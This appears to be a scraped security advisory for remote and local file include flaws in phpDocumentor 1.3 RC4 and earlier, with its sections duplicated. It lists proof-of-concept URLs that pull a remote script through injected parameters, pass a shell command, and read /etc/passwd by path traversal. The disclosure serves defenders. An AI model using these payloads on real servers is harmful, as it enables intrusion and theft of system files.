PHPDocumentor Remote and Local File Include Vulnerabilities
BID:16080
Info
PHPDocumentor Remote and Local File Include Vulnerabilities
| Bugtraq ID: | 16080 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 29 2005 12:00AM |
| Updated: | Dec 29 2005 12:00AM |
| Credit: | Discovered by rgod. |
| Vulnerable: |
phpDocumentor phpDocumentor 1.3 RC4 phpDocumentor phpDocumentor 1.3 RC3 phpDocumentor phpDocumentor 1.2.3 phpDocumentor phpDocumentor 1.2.2 phpDocumentor phpDocumentor 1.2.1 phpDocumentor phpDocumentor 1.2 |
| Not Vulnerable: | |
Discussion
PHPDocumentor Remote and Local File Include Vulnerabilities
phpDocumentor is affected by remote and local file include vulnerabilities.
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
phpDocumentor 1.3.0 RC4 and prior versions are vulnerable to these issues.
phpDocumentor is affected by remote and local file include vulnerabilities.
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
phpDocumentor 1.3.0 RC4 and prior versions are vulnerable to these issues.
Exploit / POC
PHPDocumentor Remote and Local File Include Vulnerabilities
Exploit code is not required.
The following proof of concept examples are available:
http://www.example.com/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?cmd=ls%20-la&FORUM[LIB]=http://www.example.com
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?FORUM[LIB]=http://www.example.com/script.txt%00
http://www.example.com/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?FORUM[LIB]=../../../../../../../etc/passwd%00
http://www.example.com/[path_to_phpdocumentor]/docbuilder/file_dialog.php?cmd=ls%20-la&root_dir=http://www.example.com
Exploit code is not required.
The following proof of concept examples are available:
http://www.example.com/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?cmd=ls%20-la&FORUM[LIB]=http://www.example.com
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?FORUM[LIB]=http://www.example.com/script.txt%00
http://www.example.com/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?FORUM[LIB]=../../../../../../../etc/passwd%00
http://www.example.com/[path_to_phpdocumentor]/docbuilder/file_dialog.php?cmd=ls%20-la&root_dir=http://www.example.com
Solution / Fix
PHPDocumentor Remote and Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
PHPDocumentor Remote and Local File Include Vulnerabilities
References:
References: